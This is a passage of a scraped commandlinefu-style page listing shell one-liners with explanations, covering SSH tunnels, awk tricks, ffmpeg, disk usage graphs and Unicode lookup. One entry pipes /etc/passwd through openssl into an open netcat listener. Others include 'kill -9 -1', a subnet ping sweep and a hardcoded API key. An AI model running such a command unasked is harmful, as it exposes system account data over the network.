current position towards the start of the file. seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}' 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181 6765 10946 17711 28657 46368 75025 121393 196418 317811 514229 832040 1346269 2178309 3524578 5702887 9227465 14930352 24157817 39088169 63245986 102334155 165580141 267914296 433494437 701408733 1134903170 1836311903 2971215073 4807526976 7778742049 12586269025 Functions: awk seq Fibonacci numbers with awk Another combination of seq and awk. Not very efficient, but sufficiently quick. somecommand 2>&1 >> logfile | tee -a logfile Append stdout and stderr to a file, and print stderr to the screen [bash] Useful for cron jobs -- all output will be logged but only errors will cause email to be sent. NB the order of "2>&1" and ">> logfile" is important, it doesn't work if you reverse them (everything goes to the logfile, nothing left for tee). grep --color=auto -iRnH "$search_word" $directory Grep for word in directory (recursive) greps for search word in directory and below (defaults to cd). -i case insensitive -n shows line number -H shows file name ‹ First < 20 21 22 23 24 > Last › curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g' 123.456.789.000 Another Curl your IP command Just another curl command to get your public facing IP MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date -d"0+$i sec" +%H:%M:%S)";sleep 1;done 00:09:59 Functions: echo sleep Countdown Clock Countdown clock - Counts down from $MIN minutes to zero. I let the date command do the maths. This version doesn't use seq. ^r in bash begins a reverse-search-history with command completion (reverse-i-search)`las': last -a | head Functions: bash command Press ctrl+r in a bash shell and type a few letters of a previous command In the sample output, I pressed ctrl+r and typed the letters las. I can't imagine how much typing this has saved me. dmidecode -t bios :w !sudo tee > /dev/null % Save a file you edited in vim without the needed permissions (no echo) Write a file you edited in Vim but that you do not have the permissions to write to (unless you use sudo.) Same as #1204 but without the echo to stdout that I find annoying. scp -l10 pippo@serverciccio:/home/zutaniddu/* . Functions: scp Restrict the bandwidth for the SCP command the command is obvious, I know, but maybe not everyone knows that using the parameter "-l" you can limit the use of bandwidth command scp. In this example fetch all files from the directory zutaniddu and I copy them locally using only 10 Kbs shopt -s globstar alanceil@kvirasim:17:55:0:/usr/src/linux/Documentation/x86> bash --version | head -n1 GNU bash, version 4.0.17(2)-release (x86_64-pc-linux-gnu) alanceil@kvirasim:17:55:0:/usr/src/linux/Documentation/x86> shopt -u globstar ; echo ** 00-INDEX boot.txt i386 mtrr.txt pat.txt usb-legacy-support.txt x86_64 zero-page.txt alanceil@kvirasim:17:55:0:/usr/src/linux/Documentation/x86> shopt -s globstar ; echo ** 00-INDEX boot.txt i386 i386/IO-APIC.txt mtrr.txt pat.txt usb-legacy-support.txt x86_64 x86_64/00-INDEX x86_64/boot-options.txt x86_64/cpu-hotplug-spec x86_64/fake-numa-for-cpusets x86_64/kernel-stacks x86_64/machinecheck x86_64/mm.txt x86_64/uefi.txt zero-page.txt Enable ** to expand files recursively (>=bash-4.0) Since bash 4.0, you can use ** to recursively expand to all files in the current directory. This behaviour is disabled by default, this command enables it (you'd best put it in your .profile). See the sample output for clarification. In my opinion this is much better than creating hacks with find and xargs when you want to pass files to an application. echo SSBMb3ZlIFlvdQo= | base64 -d Just run it ;) ;) for i in *.html ; do mv $i ${i%.html}.htm ; done quickly change all .html extensions on files in folder to .htm var='123456789'; echo ${var:<start_pos>:<offset>} ~$ var='123456789'; echo ${var:4} 56789 ~$ var='123456789'; echo ${var:4:2} 56 Substrings a variable substrings a variable starting at position. If no offset given prints rest of the line apropos network |more /etc/network/interfaces (5) [interfaces] - network interface configuration fo... aecho (1) - send AppleTalk Echo Protocol packets to network hosts amanda (8) - Advanced Maryland Automatic Network Disk Archiver amanda-client.conf (5) - Client configuration file for Amanda, the Advanced M... amanda.conf (5) - Main configuration file for Amanda, the Advanced Maryl... aseqnet (1) - ALSA sequencer connectors over network avahi-autoipd (8) - IPv4LL network address configuration daemon ctstat (8) - unified linux network statistics dhclient-script (8) - DHCP client network configuration script dund (1) - BlueZ Bluetooth dial-up networking daemon fping (8) - send ICMP ECHO_REQUEST packets to network hosts fping6 (8) - send ICMP ECHO_REQUEST packets to network hosts ifconfig (8) - configure a network interface ifdown (8) - take a network interface down ifup (8) - bring a network interface up interfaces (5) - network interface configuration for ifup and ifdown iwconfig (8) - configure a wireless network interface iwgetid (8) - Report ESSID, NWID or AP/Cell Address of wireless network iwpriv (8) - configure optionals (private) parameters of a wireless... jng (5) - JPEG Network Graphics (JNG) sub-format knetattach (1) - KDE Network Wizard lft (8) - print the route packets trace to network host lft.db (8) - print the route packets trace to network host libmng (3) - Multiple-image Network Graphics (MNG) Reference Librar... libpng (3) - Portable Network Graphics (PNG) Reference Library 1.2.... lnstat (8) - unified linux network statistics mii-diag (8) - Network adapter control and monitoring mng (5) - Multiple-image Network Graphics (MNG) format mtr (8) - a network diagnostic tool nameif (8) - name network interfaces based on MAC addresses nbtscan (1) - program for scanning networks for NetBIOS name informa... netdevice (7) - Low level access to Linux network devices netstat (8) - Print network connections, routing tables, interface s... network-admin (1) - Network Administration Tool NetworkManager (8) - network management daemon NetworkManagerDispatcher (8) - daemon that runs commands in response to off/o... networks (5) - network name information nm-tool (1) - utility to report NetworkManager state nm-vpn-properties (1) - Network management framework nmap (1) - Network exploration tool and security / port scanner nstat (8) - network statistics tools. ntpd (8) - Network Time Protocol (NTP) daemon pabrowse (1) - List PulseAudio sound servers on the network ping (8) - send ICMP ECHO_REQUEST to network hosts ping6 (8) - send ICMP ECHO_REQUEST to network hosts png (5) - Portable Network Graphics (PNG) format rtacct (8) - network statistics tools. rtstat (8) - unified linux network statistics sane-net (5) - SANE network backend services (5) - Internet network services list slattach (8) - attach a network interface to a serial line smbtree (1) - A text based smb network browser tcpdump (8) - dump traffic on a network tcptraceroute (8) - print the route packets trace to network host tcptraceroute.db (8) - print the route packets trace to network host tracepath (8) - traces path to a network host discovering MTU along th... tracepath6 (8) - traces path to a network host discovering MTU along th... traceproto (8) - print the route packets trace to network host traceproto.db (8) - print the route packets trace to network host traceroute (8) - print the route packets trace to network host traceroute-nanog (8) - print the route packets trace to network host traceroute-nanog.db (8) - print the route packets trace to network host traceroute.db (8) - print the route packets trace to network host traceroute6 (8) - traces path to a network host traceroute6.db (8) - print the route packets trace to network host traceroute6.iputils (8) - traces path to a network host tracert (8) - print the route packets trace to network host tracert.db (8) - print the route packets trace to network host wget (1) - The non-interactive network downloader. wireshark (1) - Interactively dump and analyze network traffic Functions: apropos List Network Tools in Linux Get all the networking related commands for your distro ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com ssh to machine behind shared NAT Useful to get network access to a machine behind shared IP NAT. Assumes you have an accessible jump host and physical console or drac/ilo/lom etc access to run the command. Run the command on the host behind NAT then ssh connect to your jump host on port 2222. That connection to the jump host will be forwarded to the hidden machine. Note: Some older versions of ssh do not acknowledge the bind address (0.0.0.0 in the example) and will only listen on the loopback address. cat /dev/clipboard; $(somecommand) > /dev/clipboard $ ls $ touch testfile testfile $ ls > /dev/clipboard $ cat /dev/clipboard Use Cygwin to talk to the Windows clipboard I spent a bunch of time yesterday looking for the xsel package in Cygwin- turns out you can use the /dev/clipboard device to do the same thing. ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com Connect to google talk through ssh by setting your IM client to use the localhost 5432 port If your firewall or proxy at your location prevents connection to a particular host or port, you can use ssh to tunnel to your home server and do it there instead. curl http://www.whatismyip.org/ What is my ip? xvkbd -xsendevent -text $(date +%Y%m%d) 20091225 Typing the current date ( or any string ) via a shortcut as if the keys had been actually typed with the hardware keyboard in any application. That works in all softs, CLI or GUI... I don't want to waste time to all the time typing the same stuff . So, I have that command in my window manager shortcuts ( meta+l ). All the window managers have editable shortcuts AFAIK. If not, or you don't want to use it that way, you can easily use the xbindkeys soft. I you're using kde4, you can run : systemsettings then open "inputs actions" and create a new shortcut. For Gnome take a look there : http://www.cyberciti.biz/faq/howto-create-keyboard-shortcuts-in-gnome/ A more advanced one, with strings and newlines : xvkbd -xsendevent -text "---8<-----\nToday date is: $(date +%Y%m%d)\n---8<-----" For complicated or long paste, you can feed xvkbd with a file : xvkbd -xsendevent -file <file> You can simulate ^C ( control+c ) too or others combinations of keys : xvkbd -text "\C\Ac" There's no man page nor help ( On my Archlinux distro ), but you can see online doc there : http://homepage3.nifty.com/tsato/xvkbd/ ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png - Admittedly, I'd never have thought of this without the earlier examples, but here's one that you can execute from your workstation to just display the image from another, without separately doing a file transfer, etc. By the way, I hear a loud beep coming from the other room, so I guess it's not too stealthy :-D echo $PATH | tr \: \\n /usr/lib/qt-3.3/bin /usr/kerberos/bin /usr/lib/ccache /usr/local/sbin .... (and so on) Functions: echo tr This version uses Pipes, but is easier for the common user to grasp... instead of using sed or some other more complicated method, it uses the tr command t=$(df|awk 'NR!=1{sum+=$2}END{print sum}');sudo du / --max-depth=1|sed '$d'|sort -rn -k1 | awk -v t=$t 'OFMT="%d" {M=64; for (a=0;a<$1;a++){if (a>c){c=a}}br=a/c;b=M*br;for(x=0;x<b;x++){printf "\033[1;31m" "|" "\033[0m"}print " "$2" "(a/t*100)"% total"}' ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| /usr 5.71248% total |||||||||||||||||||||||||||||||||||| /var 3.19542% total ||||||||||||||||| /home 1.49544% total ||||||||| /lib 0.75594% total || /boot 0.154587% total Functions: awk du sed sort sudo du with colored bar graph i'm using gawk, you may get varying mileage with other varieties. You might want to change the / after du to say, /home/ or /var or something, otherwise this command might take quite some time to complete. Sorry it's so obsfucated, I had to turn a script into a one-liner under 255 characters for commandlinefu. Note: the bar ratio is relative, so the highest ratio of the total disk, "anchors" the rest of the graph. EDIT: the math was slightly wrong, fixed it. Also, made it compliant with older versions of df. ‹ First < 21 22 23 24 25 > Last › lsof -P | grep ':3000' find the process that is using a certain port e.g. port 3000 pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done) Functions: echo find read Sqlite database keeps collecting cruft as time passes, which can be cleaned by the 'vacuum;' command. This command cleans up the cruft in all sqlite files relating to the user you have logged in as. This command has to be run when firefox is not running, or it will exit displaying the pid of the firefox running. rsync --progress file1 file2 Copy with progress tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz. Create a Multi-Part Archive Without Proprietary Junkware Leave it to a proprietary software vendor to turn a cheap and easy parlor trick into a selling point. "Hey guys, why don't we turn our _collection of multiple files_ into a *collection of multiple files*!!" Extract the ^above with this: cat pics.tar.gz.??? | tar xzv ^extract on any Unix - no need to install junkware! (If you must make proprietary software, at least make it do something *new*) if [ -e windows ]; then use 7-Zip find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html Functions: echo find Quick HTML image gallery from folder contents Setting: You have a lot of jpg files in a directory. Maybe your public_html folder which is readable on the net because of Apache's mod_userdir. All those files from the current folder will be dropped into a file called gallery.html as image tags that can be viewed within a web browser locally or or over the Internet. Original: find . -iname "*.jpg" -exec echo "<img src=\"{}\">" >> gallery.html \; lsof +D <dirname> It may be helpful in case you need to umount a directory and some process is preventing you to do so keeping the folder busy. The lsof may process the +D option slowly and may require a significant amount of memory because it will descend the full dir tree. On the other hand it will neither follow symlinks nor other file systems. egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s\n" $h "$d"; done [NOTE: commandlinefu is showing the first column as HTML entities, but in reality the literal character is shown.] $ ugrep heart ☙ U+2619 REVERSED ROTATED FLORAL HEART BULLET ♡ U+2661 WHITE HEART SUIT ♥ U+2665 BLACK HEART SUIT ❣ U+2763 HEAVY HEART EXCLAMATION MARK ORNAMENT ❤ U+2764 HEAVY BLACK HEART ❥ U+2765 ROTATED HEAVY BLACK HEART BULLET ❦ U+2766 FLORAL HEART ❧ U+2767 ROTATED FLORAL HEART BULLET ⺖ U+2E96 CJK RADICAL HEART ONE ⺗ U+2E97 CJK RADICAL HEART TWO ⼼ U+2F3C KANGXI RADICAL HEART Functions: egrep locate read Look up a unicode character by name [Update! Thanks to a tip from ioggstream, I've fixed both of the bugs mentioned below.] You, yes, 𝙔𝙊𝙐, can be the terror of the Internet! Why use normal, boring bullet points in your text, when you could use a ROTATED HEAVY BLACK HEART BULLET (❥)!? (Which would also be an awesome band name, by the way).  This script makes it easy to find unusual characters from the command line. You can then cut and paste them or, if you're using a GTK application, type Control+Shift+U followed by the code point number (e.g., 2765) and then a SPACE. USAGE: Put this script in a file (I called mine "ugrep") and make it executable. Run it from the command line like so, ugrep heart  The output will look like this, ☙ U+2619 REVERSED ROTATED FLORAL HEART BULLET ♡ U+2661 WHITE HEART SUIT ♥ U+2665 BLACK HEART SUIT ❣ U+2763 HEAVY HEART EXCLAMATION MARK ORNAMENT ❤ U+2764 HEAVY BLACK HEART ❥ U+2765 ROTATED HEAVY BLACK HEART BULLET ❦ U+2766 FLORAL HEART ❧ U+2767 ROTATED FLORAL HEART BULLET ⺖ U+2E96 CJK RADICAL HEART ONE ⺗ U+2E97 CJK RADICAL HEART TWO ⼼ U+2F3C KANGXI RADICAL HEART You can, of course, use regular expressions. For example, if you are looking for the "pi" symbol, you could do this: ugrep '\bpi\b' REQUIREMENTS: Although this is written in Bash, it assumes you have Perl installed because it greps through the Perl Unicode character name module (/usr/lib/perl5/Unicode/CharName.pm). Note that it would not have made more sense to write this in Perl, since the CharName.pm module doesn't actually include a subroutine for looking up a character based on the description. (Weird.) BUGS: In order to fit this script in the commandlinefu limits, a couple bugs were added. ① Astral characters beyond the BMP (basic multilingual plane) are not displayed correctly, but see below. ② Perl code from the perl module being grepped is sometimes extraneously matched. MISFEATURES: Bash's printf cannot, given a Unicode codepoint, print the resulting character to the terminal. GNU's coreutils printf (usually "/usr/bin/printf") can do so, but it is brokenly pedantic about how many hexadecimal digits follow the escape sequence and will actually die with an error if you give the wrong number. This is especially annoying since Unicode code points are usually variable length with implied leading zeros. The CharNames.pm file represents BMP characters as 4 hexits, but astral characters as 5. In the actual version of this script that I use, I've kludged around this misfeature by zero-padding to 8 hexits like so, /usr/bin/printf "\U$(printf "%08x" 0x$hex)" TIP 1: The author recommends "xsel" for command line cut-and-paste. For example, ugrep biohazard | xsel TIP 2: In Emacs, instead of running this command in a subshell, you can type Unicode code points directly by pressing Control-Q first, but you'll likely want to change the default input from octal to hexadecimal. (setq read-quoted-char-radix 16). TIP 3: Of course, if you're using X, and you want to type one of the more common unusual characters, it's easiest of all to do it with your Compose (aka Multi) key. For example, hitting [Compose] <3 types ♥. svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz Functions: cut sed tar xargs archive all files containing local changes (svn) Create a tgz archive of all the files containing local changes relative to a subversion repository. Add the '-q' option to only include files under version control: svn st -q | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz Useful if you are not able to commit yet but want to create a quick backup of your work. Of course if you find yourself needing this it's probably a sign you should be using a branch, patches or distributed version control (git, mercurial, etc..) lynx -dump http://www.domain.com | awk '/http/{print $2}' Get all links of a website imgur(){ $*|convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";} imgur ifconfig http://i.imgur.com/nxRsb.png Execute a command, convert output to .png file, upload file to imgur.com, then returning the address of the .png. My key is the anonymous one, is good for 50 post an hour with a maximun number of uploads a day, probably will run out, if that happend you can get a free key at the site. ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost RDP through SSH tunnel This command will: 1. open an SSH tunnel to 2. go to background 3. wait for 10 seconds for the connection 4. during the 10 seconds wait it will localy run 'rdesktop' to connect to the remote host through the created SSH tunnel. Password-less log in can be achieved (when server allows it) by adding '-p ' to the 'rdesktop' command while true; do inotifywait -r -e MODIFY dir/ && make; done; make, or run a script, everytime a file in a directory is modified Uses inotifywait from inotify-tools ( http://wiki.github.com/rvoicilas/inotify-tools/ ), that is compatible only with linux. Usefull when you work with files that have to be compiled.. latex, haml, c.. sed -n '4p' this method should be the fastest ssh -t remotebox "tail -f /var/log/remote.log" tail a log over ssh This is also handy for taking a look at resource usage of a remote box. ssh -t remotebox top ffmpeg -i filename.flv Input #0, flv, from 'mi-cc-03-bed_and_breakfast.flv': Duration: 00:00:18.7, start: 0.000000, bitrate: 64 kb/s Stream #0.0: Video: flv, yuv420p, 480x360, 29.92 fps(r) Stream #0.1: Audio: mp3, 44100 Hz, stereo, 64 kb/s Must supply at least one output file Get video information with ffmpeg I used an flv in my example, but it'll work on any file ffmpeg supports. It says it wants an output file, but it tells what you want to know without one. ps aux --sort=%mem,%cpu Functions: ps Sort all running processes by their memory & CPU usage you can also pipe it to "tail" command to show 10 most memory using processes. for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done 64 bytes from 10.1.1.1: icmp_seq=1 ttl=255 time=0.622 ms 64 bytes from 10.1.1.2: icmp_seq=1 ttl=64 time=0.078 ms 64 bytes from 10.1.1.50: icmp_seq=1 ttl=128 time=0.204 ms 64 bytes from 10.1.1.250: icmp_seq=1 ttl=128 time=0.344 ms Functions: grep ping Ping scanning without nmap Usefull for when you don't have nmap and need to find a missing host. Pings all addresses from 10.1.1.1 to 10.1.1.254, modify for your subnet. Timeout set to 1 sec for speed, if running over a slow connection you should raise that to avoid missing replies. This will clean up the junk, leaving just the IP address: for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from' | cut -d' ' -f 4 | tr -d ':'; done readlink -f ../super/symlink_bon/ahoy /tmp/foo/bar/baz/super/bon/bon/ahoy Functions: readlink Get the canonical, absolute path given a relative and/or noncanonical path readlink -f accepts a relative, noncanonical path and emits the corresponding canonical, absolute path. netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n 14 111.111.111.111 Functions: awk cut netstat sed sort uniq count IPv4 connections per IP usefull in case of abuser/DoS attacks. find . -type l ! -exec test -e {} \; -print Functions: find test Locate broken symlinks in the current directory. Also useful, to remove broken links: find . -type l ! -exec test -e {} \; -print0 | xargs -0 rm lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; } Functions: ifconfig sed List your MACs address shuf -n1 file.txt Pick a random line from a file find -L /proc/*/fd -links 0 2>/dev/null $ dd if=/dev/zero of=bigfile bs=1M count=3000 $ ls -lh bigfile -rw-r--r-- 1 u4x6691 unixadm 3.0G Jun 26 14:39 bigfile $ df -h . Filesystem Size Used Avail Use% Mounted on $ tail -f bigfile & $ rm bigfile $ find -L /proc/*/fd -type f -links 0 2>/dev/null /proc/2035/fd/3 $ ls -l /proc/2035/fd/3 lr-x------ 1 u4x6691 unixadm 64 Jun 26 14:42 /proc/2035/fd/3 -> /tmp/bigfile (deleted) Find removed files still in use via /proc Oracle DBA remove some logfiles which are still open by the database and he is complaining the space has not been reclaimed? Use the above command to find out what PID needs to be stopped. Or alternatively recover the file via: cp /proc/pid/fd/filehandle /new/file.txt :let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1 VIM: Replace a string with an incrementing number between marks 'a and 'b (eg, convert string ZZZZ to 1, 2, 3, ...) grep -i --color=auto Grep colorized Highlights the search pattern in red. ‹ First < 22 23 24 25 26 > Last › mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all play high-res video files on a slow processor Certain codecs in high res don't play so well on my Dell Mini 9. Using this command, I can play just about anything and it keeps the sound in sync to boot! python -c 'import this' An easter egg built into python to give you the Zen of Python Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; } Ask user to confirm Returns true if user presses the key. Use it like Confirm "Continue" && do action url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl -b $url; mplayer $(ls ${url##*=}*| tail -n1) -ss 00:57 -endpos 10 -vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound http://imgur.com/Pnfcu.gif Functions: ls tail Create an animated gif from a Youtube video requires "youtube-dl" -- sure you can do this with wget and some more obscurity but why waste your time when this great tool is available? the guts consist of mplayer converting a video to a gif -- study this command and read the man page for more information mplayer video.flv -ss 00:23 -endpos 6 -vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound generates a 6 second gif starting at 23 seconds of play time at 5 fps and a scale of 400x300 start time (-ss)/end time (-endpos) formats: 00:00:00.000 end time should be relative to start time, not absolute. i.e. -endpos 5 == seconds after 0:42 = 0:47 end point play with fps and scale for lower gif sizes the subshell is a solution for the -b flag on youtube-dl which downloads the best quality video, sometimes, which can be various video formats $(ls ${url##*=}*| tail -n1) ctrl-z Pause Current Thread Hold ctrl and press z to pause the current thread. Run fg to resume it. dpkg --get-selections > LIST_FILE a2ps install acl install acpi install acpi-support install acpid install Generate a list of installed packages on Debian-based systems This command is useful when you want to install the same packages on another fresh OS install for example. To do that, use: sudo dpkg --set-selections < LIST_FILE du -h --max-depth=1 |sort -rh $ du -h --max-depth=1 |sort -rh 4.7M . 4.3M ./locales 120K ./initializers 112K ./.svn 112K ./environments sort the output of the 'du' command by largest first, using human readable output. In this case I'm just grabbing the next level of subdirectories (and same level regular files) with the --max-depth=1 flag. leaving out that flag will just give you finer resolution. Note that you have to use the -h switch with both 'du' and with 'sort.' <ctrl+z> bg Continue a current job in the background while true; do echo -ne "$(date)\r"; sleep 1; done Carriage return for reprinting on the same line The above code is just an example of printing on the same line, hit Ctrl + C to stop When using echo -ne "something\r", echo will: - print "something" - dont print a new line (-n) - interpret \r as carriage return, going back to the start of the line (-e) Remember to print some white spaces after the output if your command will print lines of different sizes, mainly if one line will be smaller than the previous Edit from reading comments: You can achieve the same effect using printf (more standardized than echo): while true; do printf "%-80s\r" "$(date)"; sleep 1; done tar xfz filename.tar.gz -C PathToDirectory Redirect tar extract to another directory The command extracting the tar contents into particular directory ... echo -n 'text to be encrypted' | openssl md5 8df639b301a1e10c36cc2f03bbdf8863 Quickly generate an MD5 hash for a text string using OpenSSL Thanks to OpenSSL, you can quickly and easily generate MD5 hashes for your passwords. Alternative (thanks to linuxrawkstar and atoponce): echo -n 'text to be encrypted' | md5sum - Note that the above method does not utlise OpenSSL. echo "screen -DR" >> ~/.bash_profile Set your profile so that you resume or start a screen session on login From screen's manpage: "Attach here and now. In detail this means: If a session is running, then reattach. If necessary detach and logout remotely first. If it was not running create it and notify the user. This is the author's favorite." Toss this in your ~/.bash_profile so that you never have that "oh crap" moment where you wanted to run something in screen and didn't. echo rm *.txt rm 1.txt 2.txt 3.txt 4.txt Functions: echo rm prevent accidents and test your command with echo if you're using wildcards * or ? in your command, and if you're deleting, moving multiple files, it's always safe to see how those wildcards will expand. if you put "echo" in front of your command, the expanded form of your command will be printed. It's better safe than sorry. find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \; Convert .wma files to .ogg with ffmpeg find . -name \*.php -exec php -l "{}" \; Check syntax for all PHP files in the current directory and all subdirectories find ./ -type f -exec sed -i 's/\t/ /g' {} \; Functions: find sed find and replace tabs for spaces within files recursively cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080 Send data securly over the net. Using OpenSSL we can encrypt any input we wish and then use Netcat to create a socket which can be connected to from an externally source (even using a Web Browser) for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done The first parameter after timeout is the key parameter; number of seconds to wait. With a 6 you have 600 seconds for your coffee break (10min). arecord -f dat | ssh -C user@host aplay -f dat Functions: aplay arecord ssh sudo chattr +i <file> Functions: chattr sudo Make a file not writable / immutable by root http://linuxhelp.blogspot.com/2005/11/make-your-files-immutable-which-even.html perl -pi.bk -e's/foo/bar/g' file1 file2 fileN infile search and replace on N files (including backup of the files) the addition of ".bk" to the regular "pie" idiom makes perl create a backup of every file with the extension ".bk", in case it b0rks something and you want it back svn status |grep '\?' |awk '{print $2}'| xargs svn add Functions: xargs add all files not under version control to repository checks which files are not under version control, fetches the names and runs them through "svn add". WARNING: doesn't work with white spaces. autossh -f -M 20000 -D 8000 somehost -N Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself if something breaks the connection temporarily This command will log you into somehost via SSH and then go into the background (-f). From there, you can point e.g. firefox at localhost:8000 as a SOCKS proxy. Autossh will use port 20000 and 20001 to send and receive test data on those ports to ensure the SSH tunnel is still running, and will try to re-start the tunnel if it goes down. Make sure you have ssh-agent running, or passwordless ssh keys distributed between the two hosts. wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} ' Command-Line-Fu send tweets to twitter (and get user details) $ curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json Changes standard mysql client output to 'less'. $ echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf scping files with streamlines compression (tar gzip) $ tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination add all files not under version control to repository $ svn status |grep '\?' |awk '{print $2}'| xargs svn add Ping a URL sending output to file and STDOUT $ ping google.com | tee ping-output.txt Functions: awk wget Echo the latest commands from commandlinefu on the console Self-referential use of wget. ‹ First < 23 24 25 26 27 > Last › arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3 200909242323.mp3 Functions: arecord cd Record microphone input and output to date stamped mp3 file record audio notes or meetings requires arecord and lame run mp3gain on the resulting file to increase the volume / quality ctrl-c to stop recording kill -9 -1 kill all process that belongs to you ssh-keygen -l -f ~/.ssh/known_hosts 2048 33:3c:db:04:96:f8:c0:dc:3b:c5:eb:8a:29:32:90:74 10.5.20.213 (RSA) 2048 1f:5c:f1:0f:6a:77:b8:ab:22:13:6f:9f:4e:16:1f:b9 10.5.20.214 (RSA) 2048 3a:01:a8:a1:23:cd:73:0d:7e:1e:bf:70:da:a0:e9:ab 10.5.20.212 (RSA) 2048 16:7a:81:3a:96:6a:65:a5:b6:37:15:35:c0:09:56:e4 10.5.20.216 (RSA) 2048 a1:5b:b8:10:86:4b:6f:5d:d8:77:d3:da:a0:ce:0d:3f 10.5.20.217 (RSA) 2048 0e:4d:d6:09:95:97:29:94:9f:59:78:e8:59:65:83:60 10.5.20.219 (RSA) 2048 d9:fc:1d:46:63:57:f7:07:54:23:bf:88:af:3a:4a:71 10.5.20.215 (RSA) 2048 7b:81:21:60:27:63:a4:38:34:42:08:22:70:16:19:70 10.5.20.218 (RSA) View ~/.ssh/known_hosts key information Will return the SSH server key information for each host you have in your ~/.ssh/known_hosts file, including key size, key fingerprint, key IP address or domain name, and key type. ls /usr/bin | xargs whatis | grep -v nothing | less Functions: grep ls whatis xargs no loop, only one call of grep, scrollable ("less is more", more or less...) curl -n --ssl-reqd --mail-from "<user@gmail.com>" --mail-rcpt "<user@server.tld>" --url smtps://smtp.gmail.com:465 -T file.txt Send email with curl and gmail Required curl version >=7.21; using .netrc for authorization cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin Functions: cat grep ls readlink rm xargs Find running binary executables that were not installed using dpkg This helped me find a botnet that had made into my system. Of course, this is not a foolproof or guarantied way to find all of them or even most of them. But it helped me find it. !!command add the result of a command into vi in command mode, navigate your cursor to the line where you want the command output to appear, and hit "!!". No need to enter edit mode or even type a ":" (colon). echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))" 16 - 8 = 8 175 = 175 Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal. ^Hexadecimal Ten minus Octal Ten is Eight(in Decimal). echo "$(( 0xaf )) = $(( 0257 ))" ^Hexadecimal AF and Octal 257 are both Decimal 175. echo $? # date sab mag 9 19:30:38 CEST 2009 # echo $? 0 The variable ? contain the last exit status of a command, it can be printed for troubleshooting purpose. tcptraceroute www.google.com Traceroute w/TCP to get through firewalls. man tcptraceroute fold -s -w 90 file.txt Functions: fold wrap long lines of a text wraps text lines at the specified width (90 here). -s option is to force to wrap on blank characters -b count bytes instead of columns cat my.ps | nc -q 1 hp4550.mynet.xx 9100 sends a postscript file to a postscript printer using netcat cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30 # get some input http://www.gutenberg.org $ cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30 Functions: awk cat head sort tr computes the most frequent used words of a text file using cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | sort -S16M | uniq -c |sort -nr | cat -n | head -n 30 ("sort -S1G" - Linux/GNU sort only) will also do the job but as some drawbacks (caused by space/time complexity of sorting) for bigger files... Ctrl + [ the same as [Esc] in vim Faster and more convinent than [Esc] watch "dmesg |tail -15" Monitor dynamic changes in the dmesg log. Other logs can be monitored similarly, e.g. watch "tail -15 /var/log/daemon.log" echo "vertical text" | grep -o '.' v e r t i l x Functions: echo grep Print text string vertically, one character per line. vert () { echo $1 | grep -o '.'; } Use 